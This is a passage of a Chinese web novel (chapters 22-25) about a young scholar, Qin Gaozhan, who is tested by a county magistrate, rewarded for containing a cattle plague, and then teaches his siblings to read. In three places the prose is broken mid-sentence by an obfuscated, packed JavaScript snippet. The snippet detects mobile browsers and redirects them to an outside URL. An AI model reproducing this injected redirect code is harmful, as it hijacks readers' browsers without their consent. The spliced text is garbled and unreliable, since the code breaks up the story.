“要是没牛车,你骑着我家的骡子去好了,也方便回来。” “不用了,”秦高瞻算了算家里药材数量,“我顺便把药背去卖了。” 王村长差点以为自己听错了。 “你要背着背篓去见县令大人?” 秦高瞰也觉得不妥,“哥,咱们没必要省这几文钱,下次再进城卖药也不迟。” “是啊,背着背篓去见大人,这也太、太……”换做自己儿子,王村长肯定要开口批评了。 “我觉得大人不会在意这些,挖药养家也不是丢脸的事。” 秦高瞻十分淡定的去收拾,又在几人欲言又止的目光中带着帖子去村口等牛车。 到了县城,他果真先去卖药,换了近四百文,这才去了衙门,递上帖子。 “原来是秦公子,”得了吩咐的衙役也没瞧不起他穿着粗布背着背篓,十分客气的将人请到了后衙一个偏厅,“大人忙于公务,我去通报,你且等等。” 过了会,有小厮送来茶水点心以及净手用的水盆。 秦高瞻洗了手,拿起点心吃起来,讲规矩的同时也很自在。 他猜到有人暗中观察,并不在意。通过衙役的客气,足以判断宁大人对他观感尚好。他立了功如今来领赏,哪怕只得一两银子,都算他赚。是否有额外的收获,决定权不在他手上。 等吃完点心,喝了半杯茶,在心里默读了几本书,才有人请他去前衙。 “大人,秦公子到了。” 桌案后,一个穿着官服三十出头的男子抬头,露出端正的脸庞和眼底的青黑。 秦高瞻只匆匆看了眼就作揖,“学生秦高瞻参见大人。” 22. 县令考核 “看座。” 一个没穿官服的年轻男子搬来一张靠椅,放好做了个‘请’的手势后,迅速退到角落里。 “谢大人。” 秦高瞻坐了三分之一,心里忍不住判断这个看上去并非小吏男子的身份。 不是普通的仆从,更像是经过特殊训练的随从,能留在这县令办公之所,算是亲信。 看来县令的出身不一般。 “此次牛瘟,既是你第一个警觉,也是你提供了防疫之法,本官先代岑县百姓谢过你。” “学生惶恐,”秦高瞻连忙站起来作揖,“不过是拾人牙慧,实在当不起。” 又似有些不好意思。 “学生家中也种田,素日里依靠县衙发下的耕牛,是以发现病牛时格外紧张。幸亏村长和里正重视,大人心系百姓,才能控制局面。” “不必自谦,亦不必多礼。” 秦高瞻顺势坐回去,一副很乖巧的模样,仿佛没注意县令的打量。 宁鸿飞收回打量的目光,淡淡道,“听闻你六岁启蒙,十一岁因家中变故退学。不过耕作之余亦读书,将来可打算回到学堂?” “不瞒大人,学生确有此意。” 他简单表示之前家中弟弟妹妹年纪太小,又表示家中田地不可荒废,得不了多少空闲读书。 当然,他与县令皆心知肚明,他是没钱读书。 只要有钱,就可以雇人种田和照顾弟妹,以及交束脩。 因为没钱,赋税不低,他甚至不敢将田地租出去。毕竟那意味着一亩田的收成要分成三份,缴了税,租户留了粮,给他们家的租子根本养不活四个人,更别说读书了。 可他不能直接说他们家穷。他们家过去几年过得艰难,往小了说,是因爹娘感染疫病去世,一下子少了两个顶梁柱。往大了说,前任县令处理时疫的手段有问题,永康帝在多年前增加赋税的举措有问题。 县令话题跳得很快。 “既然一直在读书,那你以‘春’为题作首诗,再以饲养牲畜为题写篇策。” 那位亲随麻利的搬来一张小桌,拿了些笔墨纸砚。 秦高瞻:“……” 他只得研墨的同时打腹稿,这期间,他还能听到县令批阅公文时发出的窸窣声。 尽管猜到县令会考校学问,可一上来又是作诗又是写策的,也太考验他了。在这之前,他根本没写过诗。 不过,县令居然不考他四书五经,是默认他会这些,还是不太看重呢? 摸清楚县令的喜好对他来年参加童试有好处。童试第一场县试便是县令出题。 打好腹稿后,他先写策。 县令给的题目太空泛,他又是个喜欢着眼于细节的人。根据目前已知情报,这位宁县令应该是个务实的人,他按照自己的喜好来写,应该没太大问题。 于是他自由发挥。从养牛扩散到养猪,再扩散到养鸡鸭。牛是发展农业不可缺少的帮手,而猪和鸡鸭等是经济来源。 说白了,重点是如同通过饲养牲畜提高百姓的生活条件。光写怎么防疫没用,还要结合实际给出更加具体的建议。 考虑到目前百姓们侧重养鸡,他也将重点放在这方面。 首先是确定定位,小户养殖一般都是肉和鸡蛋兼顾。大户养殖可以考虑只选择一个方向,销售肉鸡还是鸡蛋,再根据侧重点挑选鸡的种类,不断择优杂交培育生长周期短、抗病能力强和适应性强的鸡。 考虑到耕地的重要性,大户养殖可以选在低矮林地。在荒地建立养殖场也可,只是成本更高。 也写了如何养鸭,岑县河流湖泊多,有养殖鸭的地利。每年收获翻地时,可以将鸡鸭放到耕地里处理虫卵。既减少了来年的病虫害,也给鸡鸭补充了营养。 写了不少养殖重点,又写了难点和各种风险。 现代有不少对应药物,一场禽流感都可能让养殖户血本无归,更别说是古代。因此大范围养殖一定要慎重,如果可以找大夫专门研究相关疾病药方,那就更好了。 人的症状千变万化,相对来说,牲畜的少一些。也许有些略懂医药治病的人改行当兽医,能带来不一样的收获。 洋洋洒洒写了一堆,秦高瞻脑子清明了,反而觉得实施可能性不高。县令想不到这一点?他到底要考察什么? 想不出所以然,他只能开始作诗。 原身作过诗,他也翻到相关记忆。帮助并不大,他想到的几首诗都特别干巴。反而清明夜晚因大雨辗转反侧时,他有一点灵感。 干巴的歌颂之诗,还是借雨抒发忧田之情? 听到亲随给县令换茶的声音,他一个激灵,后知后觉时间的流逝,抓住脑海里那丝灵感挥笔而成。 “大人,学生已写完。” 得了吩咐的亲随当即将几张纸拿过去。 宁鸿飞认真看了一遍,忽然问,“你挖药一日可得多少?” 话题跳得也太快了吧?秦高瞻以为县令会点评几句,这是他穿越以来第一次正式作诗写文呢。 “日均一百余文。” “一月约莫三两?”宁鸿飞拿指节轻敲桌面。 思索了会,他问,“此次你立功,本官应布告表扬。一来,这是你切实的功绩,二来,读书人养蓄名望颇有益处。只是你离开学堂已有三年,本领尚浅……” 懂了,秦高瞻默默的想,他的文章且不说实用性,至少文采不合格,得了一个‘本领尚浅’的评价。 “此刻宣扬,于你益处不大,众人过耳便忘。” “学生愚钝,还请大人指点。” “等你中了秀才,本官再择一时机布告表扬,”宁鸿飞注视着少年清秀的脸庞,“不过也许你中不了秀才,如何选?” 秦高瞻其实挺惊讶,这位县令未免考虑太周到,似乎较为欣赏他。 他没多犹豫,“学生以为,顺其自然便可,无需特地布告。” 桌案后的县令沉默几息,“好一个顺其自然,那便如此,宁平。” 名叫宁平的亲随不知从哪拿出一个托盘,送到秦高瞻跟前。 “此次你防疫有功,赏银二十两,书和笔墨纸砚若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868090|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干。” 秦高瞻很干脆的接过来。 “学生谢过大人。” “宁平,你送他出门。” “是,大人。” 秦高瞻配合的作揖,“学生告退。” 出了房门,宁平便笑呵呵提议,“财不外露,这儿有荷包。” 秦高瞻道谢后,将二十两白银装起来,藏在怀里,又去拿书,用带来的布包起来。 包的时候他发现这些书有些旧,心里一动。 宁平陪着他往外走,适时道,“这些书大人曾翻阅批注,莫要嫌弃。” 猜测得到验证,秦高瞻又惊又喜。 原身去年出入书坊时,曾听县学的学生提到过新来的县令是二甲出身,名次似乎还很靠前。 这可是进士批注的书,换做现代,接近高考状元宝典了。 “大人厚爱,学生必珍之。” 没一会,宁平回到宁鸿飞办公的地方。 “大人。” “如何?” “秦家子性情稳重,不骄不躁,的确与一些学子不同。” “就是学问差了些,”宁鸿飞回忆那篇文章和那首诗,无奈道,“学问差可以用勤勉来补,心性却不能,而他的眼界,既狭也阔。” 说着示意宁平来看那篇文章。 宁平看后,思索了会,笑道,“难怪大人看重他。” 及时制止牛瘟蔓延的功劳是大,可换做旁人,论功行赏即可,哪里需要提前派人去了解秦高瞻素日里的为人,家庭环境等。 里正送来的防牛瘟手册质朴实用,在大人心里留了深刻的印象。后来王村长又点出秦高瞻的真实身份,才有今日亲自接见和一番考核。 说秦高瞻眼界狭,是因他写文只字不提大乾江山和忠君爱国,这和时下风气不同,很容易被读书人乃至官员评价小家子气。说他眼界阔,则因民乃国之基,农是国之本。向往庙堂的读书人多,低头看脚下土地的人少。 “列及的风险甚多,越是如此,反显得言之有物,可以一试,”宁平轻声道,“总不能因噎废食,不尝试,怎知不行。” “是可以一试,可有地利的百姓不多,要是有别的法子就好了。” 这几年风调雨顺,哪怕如此,岑县大多百姓只是勉强吃饱。宁鸿飞自去年上任,就一直思索帮助百姓创收的法子。无论是多挣些钱,让百姓们可以多买粮买布,送孩子读书,还是额外收获些粮食,都可。 只是他在岑县各村来回走动,也没找到良策。他也没指望从一个十四岁的小孩那得建议。秦高瞻所提议的结合地利大范围养些鸡鸭还列出一些防范措施已经是意外之喜了。 至于疫病等风险,正如宁平说的那样,不能因噎废食。百姓们承担不了这个风险,他可以承担。事实上,如果库房的钱多一点,他能做的事更多,可偏偏库房没钱,给秦高瞻的那二十两银子都是省出来的! 想及此,宁鸿飞便低骂了句。 “陈有为那个混账!” 宁平垂眸装作没听到,心里也跟着骂了几句。 23. 猪油拌饭 陈兴业,字有为,是岑县前任县令。原本是京官,犯下不轻的罪行,只因是某个阁老一党,从流放改为贬至岑县当地方官。 三年任期,辖内发生过瘟疫,缴纳的税收不变,只因会捞钱,靠着阁老一党,升官了。他快快乐乐携款跑路,留下一个空壳子县衙。 库房过于空虚,这次买了草药,雇了人力,就不剩多少了。若非那何富户组织了一些名声尚可的商人一起赔偿损失耕牛的百姓,宁鸿飞还会面临更加窘迫的局面。 如今哪怕控制了牛瘟,又因提醒了临近几个县结交了些人脉,宁鸿飞依旧发愁。他没有渠道去找更多耕牛,库房也没有钱买足够多的耕牛发给各村。 想找些读书人集思广益吧,可从去年至今年,无论是县学的秀才们,还是县私塾里学问不错的学子,几乎无人可以派上用场。 那些人读的是圣贤书,精通四书五经,文章优美,辞藻华丽,可离百姓太远,不是他想找的人才。 纵观整个大乾,受陛下和阁老们的影响,读书人多追求华丽文风,一个比一个会吹捧。 如今难得逮到一个秦高瞻,要是能在他任期考中秀才就好。实在考不中,只要心性不改,也可以招为幕僚。 秦高瞻不知县令连他考不中的退路都想好了,他背着背篓,开心的回到街上。 二十两银子,需要他挖半年多的药才能挣到。 本以为买了艾草苍术石灰,又四处寻觅耕牛发给各村,衙门已经彻底没钱,没想到还能挤出二十两银子奖给他。 同情县令需要面对空虚的库房,他又心安理得的收下这笔奖励。县衙没给具体数据,他也猜得到自己提供的防牛瘟手册阻止了不少损失。 目前,这件事勉强算是掀篇而过。得了二十两,他现在就可以开始读书了。 向日葵等种植他也能参与,期间的灌水除草等工作也能当做是读书之余的劳作。不过到了收获期,他终于有底气做一件事了——雇人。 当下距离收获期尚远,他还是好好考虑买哪些东西带回家吧。 粗粮肯定是要买的,他们兄妹四人都在成长期,主食必须管够。最近一家人沉迷于做包子和擀面,白面也来些。 红糖喝完了,买点。盐和菜油要见底了,多买些。 好久没吃糕点了,再来点。 这次不喝大骨汤了,直接买肋骨,可以煲排骨汤也可以做红烧排骨。多来点肥肉熬猪油,猪肝不能少,便宜又营养。 路过布庄时,他忽然想到三年来,一家人都没穿过新衣。 想了想,春天要过去了,可以买些薄的细布,比那些厚实的布便宜,他们家也买得起,遂进店扯了小半匹布。 细布比粗布贵不少,不过他们家都是小孩子,用的布没成年人多,能省不少布料。 这儿花花那儿花花,秦高瞻忽然发现今日卖药的近四百文不够用了,顿时有些庆幸弟弟没跟来。 他还是买了一些家里需要的东西,花了些钱,加上县令奖励的二十两,家里最终存款约二十一两。 路过书坊时,他头也不回的走了。时下低劣些的纸不算很贵,可耐不住读书人耗费快,太差的笔墨又不利于书写,贵的又是真贵。 束脩、大量笔墨纸砚,以及每次参加童试缴纳的银两,组成了一个对普通百姓来说非常庞大的数字。 秦高瞻背着沉甸甸的背篓回来时,三个弟弟妹妹都在院子里翘首以盼。 “哥,你回来啦!” 秦高琼开心的去接背篓,左右看看,确定无人路过他们家院子,小声道,“这些都是县令赏的?” 秦高瞻避开弟弟的目光,“不全是。” 秦高瞰:“……” “哥,我知道你花钱都有理由,”秦高瞰刮刮脸,“再说了,家里的钱基本都是你挣的,我不会说什么。” “没人管我,我真会一次全花光哦。” 秦高瞻在现代的存款可观,购物时很少会花时间货比三家追求性价比。 穿越到这个家,他花钱变得节制,但偶尔卖药得了钱,还是会忍不住手松花花花。不过想到二弟会语速很快的算账,三妹数着家里的存粮,他就又会克制自己。 对他来说,为了珍视的人改变一些习惯,也是一种幸福。这是现代孤家寡人的他得不到的体验。 他说了真心话,秦高瞰却不信。 “大哥你才不会这样,如果有天你真会花光,那肯定有必须花光的理由。” “没错没错。”两个妹妹闻着糕点的香味,齐刷刷的点头。 秦高瞻感到些许压力,不要盲目信任他啊,他是人,也会犯错。 不过他尚未犯错,还是清点这次的收获吧。 一家人回到屋里,关了门。 弟弟妹妹眼巴巴盯着哥哥逐一拿出各种食物,时不时发出‘哇喔’的声音。 拿出糕点时,秦高瞻干脆往他们张开的嘴里各塞了块。那瞬间,他觉得自己像是给崽崽们喂饭的鸟妈妈。 嘴里有了食物,几人不哇喔了。 等他们嚼完,秦高瞻才拿出县令奖励的白银和书籍笔墨纸砚。 “二、二十两?” 秦高瞰捂着嘴不让自己喊得太大声,心脏怦怦跳,“我这辈子没见过这么多钱。” “我也没有。” 秦高瑜好奇的戳戳银元宝。她已经知道,银子可以买很多的粗粮和白面,还有好吃的糕点和甜甜的红糖,以及十分美味的猪肉。 秦高琼没见过,一开始也觉得二十两很多,可想到一头耕牛的价格后,又恢复平常心了。 “这是大哥该得的,一头牛可不便宜。” 她盯着那几本旧书和笔墨纸砚看,“县令大人送这些,是鼓励大哥继续读书吧?” 秦高瞰回神,有些兴奋,“对啊,现在我们家有钱了,大哥可以继续读书了。大哥这么聪明,肯定能考中秀才。” 他觉得以大哥读过一遍书就能把防牛瘟手册默出来的本事,考秀才那是手到擒来。 “这就是我想和你们商量的事情了。” 秦高瞻也吃了块糕点喝了碗温水,慢条斯理道,“我会请教李夫子,但在家读书,每日学习半日,挖半日的药或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873653|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者种田,吃完晚饭就教你们读书。快要入夏,天黑得晚,咱们不必那么早歇息。” “大哥这样会不会太辛苦?”秦高琼伸出手,表示自己很有力气,“种田的事交给我们,大哥还是主要负责读书吧,也不用教我们。” “你们才十一岁,每日一直劳作,对身体不好。”秦高瞻笑眯眯,“阿琼,你该不会想逃避读书吧?” “没、没有。” 秦高琼给二哥使眼色。 秦高瞰忙说:“挖药的事也可以交给我们,大哥带我们挖几次,之后我可以和阿琼结伴去山里。不说全都记得,挖一些山上量多的药材还是没问题的。” “阿瞰,你也在转移话题,想逃避读书?” 秦高瞻已经翻出原身的记忆。原身六岁启蒙,长二弟三妹三岁,待两人五六岁时,傍晚回家,都会教弟弟妹妹读书。在原身和爹娘看来,这是既划算也有利于增进手足之间感情的事,并不反对。 爹娘去世后,教书活动才中止。 少年露出和善的笑容。 “你们跟着我学了两年多的《三字经》,还记得多少?” 双胞胎兄妹开始瑟瑟发抖,一度想藏到小妹身后。 还没来得及参与这个活动的秦高瑜抬起小脑袋,表情茫然。 看到这一幕,秦高瞻笑容更深。 “一句都不记得?” 原身退学前,进度已经到了四书五经,不过还未完全熟读。后来因着抄书,反倒记住大半,只是没有老师讲解,有几本不解其义,也缺乏写诗作文的经验。 而时下启蒙教材通常是三百千,原身已经陆续教完《三字经》。尽管那时弟弟妹妹已经表现出坐不住的性子,也在温和的教导下磕磕绊绊学完了。 秦高琼有着小动物般的直觉,看到大哥的笑容,下意识道,“人之初,性本善。性相近……”① 卡壳了。 “…□□…”秦高瞰硬着头皮接着背了两句,也卡壳了。 停了三年,全还给老师了。 秦高瞻严肃起来,“就这么决定了,不用担心影响我。这也是我放松的方式。” 目光又落在懵懂的小妹脸上,“再说了,你们学会后还要教阿瑜呢,就如我教你们那般。教的时候,也能加深你们的记忆和理解,两全其美。” 兄妹俩苦哈哈的应了。 不过等晚上秦高瞻炒了一盘红烧排骨,熬了猪油,炒了一大锅猪油鸡蛋拌饭后,所有人都心情愉悦的大快朵颐。 天大的事也等吃饱后再说。 秦高瞻行动力很强,当天吃完饭就拿出《三字经》,教了前六句,还分给两人一些纸张,和原身抄写留下的字帖。 宁县令送了他两只毛笔,家里本来就有几只差一些的毛笔,可以分给弟妹们用。 “会背还不够,要能默写出来,写得端正。” 又抢在二弟之前说:“要是觉得浪费纸张,可以先用树枝在土上练习一二,我也给你们制作几支炭笔。但最后,必须是用毛笔默写在纸上给我看。” 两兄妹再次苦哈哈的应了。 24. 两家谢礼 无论前生今世,秦高瞻都习惯制定短期和长期计划表,按部就班的实现目标。 如今将读书考秀才纳入计划,有了更加明确的目标后,他清晨起床都精神奕奕,先背诵了《论语》中的一些篇章,才去厨房吃早饭。 弟弟妹妹这会已经做好早饭——青菜猪肝面,还一人卧了一个荷包蛋。 这会调味料不多,秦高瞻依旧吃得香喷喷,小妹也同样如此,反倒是中间两个有些食不下咽。秦高瞻好笑的看着他们,“怎么黑眼圈都出来了?想到要读书这般激动?” 秦高琼表情幽怨,“大哥,你好坏。” 秦高瞰不吭声,他忽然想到幼年被娘亲捉弄的事。这方面,大哥和娘亲真像。 挑了一筷子面条,秦高瞻十分淡定,“等你们习惯就好,快些吃吧,今日还要去翻地,芸豆也能移栽了,不吃饱可不行。” 两人埋头吃起来。 秦家的地偏,一路过去总会经过不少人家的田地。有时碰到村里人闲聊,能听到不少新鲜事。 今日,村里人显然有些躁动。微风凉爽的时辰不埋头干活,居然三三两两站在田垄间聊天。 “咦,他们在聊什么?”秦高琼想凑过去。 “牛二几人的判决下来了,应该在聊这个,”秦高瞻眼疾手快拽住妹妹,“问他们还不如问我。” “对哦,大哥你昨日去了县里,”秦高琼疑惑歪头,“昨日怎么不说?” 秦高瞻摸摸鼻子,他怕太血腥吓到弟弟妹妹。那么高兴的日子,出现旁人做什么。 “肯定要砍头,”秦高瞰笃定道,“他们害了不少人。” “嗯,以牛二为首的几人的确会砍头。” 牛二便是那个在几个县来回卖牲畜特别是牛的牛贩子。他会四处收购牛犊,自家也专门养了牛下崽。 这一次,他收购的一只牛忽然生病,还传染给其他牛以及猪仔羊仔,不想损失太多,故意隐瞒,四处勾结如何富户管事那样的人卖出,造成严重损失。 除他之外,还有明知购入病牛,在县里开始排查故意隐瞒导致牛瘟扩散祸害极广的几人也被判处死刑。 其他前期犯错后期积极配合的,根据影响程度判处流放和服劳役等不同刑罚。 如何亮,不知牛瘟,最初目的只是不想赔偿秦登科家,而根据病牛溯源,他只害了同村某户人家的一头牛,最终被打了板子,还要交不少的罚款以及服六个月的劳役。 昨日秦高瞻在县里转悠时,听到不少陌生名字,难得听到认识的人的名字,便记下来。 “经过这件事,”秦高瞻往好的方面想,“以后遇到类似的事,大家会更加警惕。就算是何亮那种人,也不敢隐瞒了。” 从大哥这儿知道一些后续,秦高瞰二人便没去凑热闹。 三人老老实实翻地,中午回家准备做饭时,王村长带着小儿子来了。 秦高瞻第一反应是去看小妹。秦高瑜那逐渐圆润的小脸蛋果然露出奇怪的表情,紧接着五官就要飞舞,注意到他的目光,又赶紧绷着脸,摇头晃脑的去看两只开始下蛋的小母鸡,两条小短腿走得飞快。 他失笑,迎上王村长父子俩,注意到两人手里提着不少东西,还背着背篓,挑眉。 “村长,你们这是?” “咳咳,”王村长左右看看,“进屋说,进屋说。” 进了屋,他先后放下手里的东西和背篓,甩了甩胳膊,“别说,还挺重。” 秦高瞻一一扫过两人带来的东西。 一个粗布袋子,一个细布袋子,都满满当当。走近了可以闻到新粮的稻香和白面的麦香味。 还有四匹细布,两匹靛蓝,一匹青灰,一匹淡绯。 四包县里老字号的点心,六长条腊肉,粗略估计有二十斤。 “三斗新粮,三十斤的白面,对了,还有这个。” 王村长从怀里掏出一个信封,“里边有二十两银子,都是何老爷的谢礼。” 王兴主动解释:“何家村那边恢复不如我们村快,何老爷事多。此外,他,我爹都觉得这件事不宜声张,托我们把谢礼拿来。” “看来何老爷那边已经事成,县令大人也答应了。” “那可不,何老爷也没想到宁大人真会同意。他带着他兄弟,还有几个商户在宁大人那儿露了脸,既有面子,还得了人情。” 王村长眉飞色舞的说着,仿佛自己就在现场。 王兴不好阻止他,单独拿出一包红糖和一个信封。 “咳咳,瞻哥儿,多亏你的主意,我们和何家有了来往,这是五两银子,比不得何老爷大气,你别嫌弃。” 王村长回过神,忙劝,“这是你该得的,千万别推辞。” 秦高瞻还真没推辞,将五两银子和红糖接过来。 王家愿意送五两银子,证明在他们看来,和何家来往能带来不止五两的利益,具体是什么他没兴趣知道。 同样,何老爷托人送来这些,也证明组织商户一起赔偿百姓能带来更多的利益。至于找了哪些人,如何对县令说,到底赔偿多少,也没兴趣知道。 他本意是回了当初何家买田的恩情,不过显然在何老爷看来,他这次出的主意值更多。 见他爽快接了,王兴松了口气,他就怕上演互相推让的场面。 王村长也是如此,他还有些好奇,“你昨日去了县衙,宁大人如何说,会布告表扬你么?会不会送块牌匾?” 他有分寸,并不问县令到底奖了哪些实物。 “我们都觉得顺其自然比较好,”秦高瞻也没瞒着,“即便布告表扬,也不过是给大家一个茶余饭后的谈资。” 还不如那二十两银子还有笔墨纸砚有批注的书籍来得实在呢。更何况,按照宁大人的意思,应该会在奏折里提一句他的功劳。不会刻意强调提前引来注意,也不会真的抹了他的功绩。 “那我懂了,”王村长点头,又嘱咐小儿子,“有人问可以说,没人问也不要出去炫耀。” 也和秦高瞻承诺:“里正那边我也这么说。” “谢谢村长了。” 秦高瞻顺势问:“要不留下来吃顿饭?阿瞰他们……” “不了不了,我们出门时家里煮好了饭。” 两人也不想踩着饭点拜访,可双方都只有这个时辰有空。 他们走后,蒸完饭的秦高瞰和本在喂鸡的秦高瑜溜进来,一大一小神色一模一样。 “村长他们怎么送这么多东西?” “大部分是何老爷送的,我给他出了个主意。” “一个主意值这么多?” 秦高瞰目瞪口呆,又佩服的望过来,“不愧是大哥。” “大哥最厉害。”秦高瑜连连点头。 秦高瞻笑道:“多读书能增长见识,你们也要如此。阿瞰,我看你干活时也念念叨叨,昨日学的六句记得如何了?还是说记得更多?” 以前教过,这次再教,他先将《三字经》完整读了一遍,再讲解了前六句的意思。《三字经》有一千多字,按照这个教法,一个多月就能教完。 秦高瞰麻溜的跑了,“我去帮阿琼。” 小女孩没跑,她深呼吸,“面面的味道。” “对,白面的味道,有这么多,我们可以吃很久的包子和手擀面了。” 秦高瞻牵起她的手,“咱们一起清点吧。” “好呀好呀。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878947|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >得知家里多了六长条腊肉,秦高琼切新鲜猪肉时豪爽了些,也舍得给油盐,早上出门他们还炖了排骨,这会香气四溢。 吃过午饭,秦高瞻去书房学习了,秦高瞰和秦高琼则决定轮流干活和学习。 他们学习时,秦高瑜就搬着个小板凳,乖巧坐在一边听。兄妹俩顿觉压力大,担心在妹妹面前表现不好,没法当榜样。 傍晚各家各户燃起炊烟,秦高瞻仔细量过一家人的尺码,将村长送来口感绵软的糕点各捡了两块包了,割了些腊肉,又拿了一块一钱左右的碎银,数了不少铜板,才抱着四匹布去了隔壁。 “王大娘,我想托您制些衣裳,按县里成衣铺给您算钱如何?” 县里成衣铺既卖成衣,也可以收客人的布匹制衣,赚取手工费。 王大娘今晚做的是蒸菜,灶里留了火她就回到堂屋里忙碌,听了这话,愣住。 “我来制衣?” 目光扫过几匹布的成色,连忙摆手。 “使不得使不得,我手艺一般,别毁了这么好的料子。” “我觉得您手艺很好,叔穿的衣服针脚密,款式也衬得他精神,”少年温言软语,“咱们是邻居,要是尺寸出了问题还能及时修改,换做县里,我没工夫总往那儿去,去一次又是车费和入城费,多亏啊。大娘,您就帮个忙吧。” 王大娘犹豫起来。 若说真心话,她肯定想接这个活。他们家田不多,夫妻俩吃喝不说,偶尔还要补贴出嫁的女儿。除了种田,她会养些鸡鸭,攒了蛋卖,老伴会点木工活。只是村里不少人会木工,只能囤些货送到县里,其实赚不了多少。 能得一笔外快,对她来说是意外之财。 这些日子,他们家和秦家的关系其实处得不错。最近几个小孩还时不时来他们家买蛋,还带点山里挖的笋或者野菜。她也会回些秦家没种的菜。 “瞻哥儿,”她小心翼翼的问,“你真信得过我的手艺?” “当然,大娘您的手艺很好,不信去问叔。” “问他?”王大娘失笑,“他不敢说个‘不’字。” 秦高瞻笑了,王大娘也没纠结很久,还是将四匹布接过来小心放在一旁,接了一钱碎银和一捧铜钱,数了数,还了十几个铜钱回去。 时下制衣手工费因手艺好坏、料子成色、成衣繁简等,低的只有二十文,高的数百文甚至几十两。 一般款式简单的按照匹数收费,复杂的按照成衣件数收费。 秦高瞻给了她一钱碎银和六十个铜板,意味着一匹布的手工费是四十文。可她见过一匹布收三十文的成品,手艺和她相当。 “你嘴甜,会哄人,我肯定比不得县里的裁缝,不能按着他们的手艺收价,你要是不接,那我也不接这活了。” 秦高瞻只得收了铜板,报了一家人的尺寸。 王大娘想了想,“你们都在长个子,我做得略大些。你们每人要哪个花色?件数呢?” “不论件数,每人都用一匹布。” 王大娘深深望向眼前少年。 “我平时在家干活的衣服足够了,想要几件圆领袍或交领袍,大娘可见过?” “怎么没见过?村里不少小孩那么穿呢,这一穿,书生气就出来了,”王大娘也不隐瞒,“这种款式要的布多,加上你个头比弟弟妹妹高,配上长裤,一匹布只能给你制四套。” “足够了。阿瞰的话,给他来两件这样的,其余的就和平日穿的一样。阿琼阿瑜的话……” 秦高瞻摸摸脸,“她们的衣服我不太懂,您是行家,按照您的想法来。” 王大娘被哄得眉开眼笑,“等将来你们要改尺寸,也来找我,那会可别这么客气。” 25. 拜见夫子 晚些时候,童多实干完活回来吃饭,听妻子说起制衣的事,沉默了会才说,“看来大家说的是真的。” “什么真的假的?” “何家村有人说,防牛瘟的法子是瞻哥儿从旧书里学来献给县令大人的,还说他立了功,县令大人会奖励他。” 王大娘诧异:“瞻哥儿献策肯定会问过村长,咱们村可没传这些。我还以为他挖药赚了钱特地买布制衣,他们兄妹几个好几年没穿过新衣了。” 快一个月了,秦高瞻上山挖药的事根本瞒不住他们。毕竟都是一样种田,四兄妹家里时不时飘来肉香和白面香。明明家里两只小母鸡开始下蛋了,还来他们家买鸡蛋。 整个村里,除了以卖柴为生的,就数秦高瞻上山的次数多。同样,除了像周春燕那样在县城里有买卖,村长那样需要去县里办事的,当属秦高瞻去县城的次数多。 不止他们家,其他邻居甚至村里不少人都推测出这事。小村庄里藏不住多少秘密。 就她所知,眼热羡慕的人不少,只是挖药就好比打猎,是靠本事吃饭的。山里的药和猎物就那么多,不是关系好的亲戚,不正经拜师,没人会教。 再说了,当初秦登山夫妇去世,四个小孩孤苦无依时,没多少人搭把手。秦高瞻病重时,上门探望帮忙的更是少。现在四个小孩稍稍熬出头了,就跑去分一杯羹? 村里爱占小便宜的人不少,要面子拎得清的人更多。 此外,因为两家离得近,走得近,也有人找王大娘打听细节,她都含糊带过了。 “别忘了里正住在何家村,”王大娘知道的事,童多实自然也知,他提醒,“这么大的事,瞻哥儿会找村长,村长肯定会找里正。里正要管理几个村子,也要和其他里正交流,接触的人更多,没准……” “那这里正也忒不靠谱了,”王大娘有些担心,“家里有青壮的尚且不敢露财,更何况是几个小孩呢?” “也不是里正的错,”童多实很冷静,他看了看外边的天色,“里正对外说的时候,许是想夸赞瞻哥儿,或是帮忙扬名,那会县令大人奖赏的事还没着落呢。还是找个机会,提醒瞻哥儿。” “这也只是咱俩猜的,到底是奖赏还是挖药赚的,等我明日问问。” 第二日,王大娘出门时还琢磨着怎么开口好,就见一个邻居走过来,压低嗓音说,“王婶,你昨天瞧见没,村长和他小儿子背了不少东西来瞻哥儿家。” 王大娘努力镇静,“我一直忙着没注意。这些日子难为瞻哥儿跟着排查小队干活,村长过意不去送些吃的过来吧?” “那怎么不见送别人家,还送那么多?”潘氏咂舌,“看来何家村的人没说错,瞻哥儿得了县令大人的赏。你说他平时忙着种田挖药,怎么还有功夫读书?” 语气里充满了羡慕,“那么好运学到防牛瘟的法子。” “村长都没说这些事,别胡乱嚼舌。”王大娘不冷不淡道。 潘氏摇头,望向她的目光带着同情和幸灾乐祸,“平时那几个孩子‘大娘大娘’叫着,多亲热啊,得了点好却不惦记着你,啧啧,还是别太热心的好。” 这是瞧见村长送东西却没瞧见瞻哥儿拿着布匹来找她? 也是,一个白日一个晚上。村长做事咋这么不靠谱? 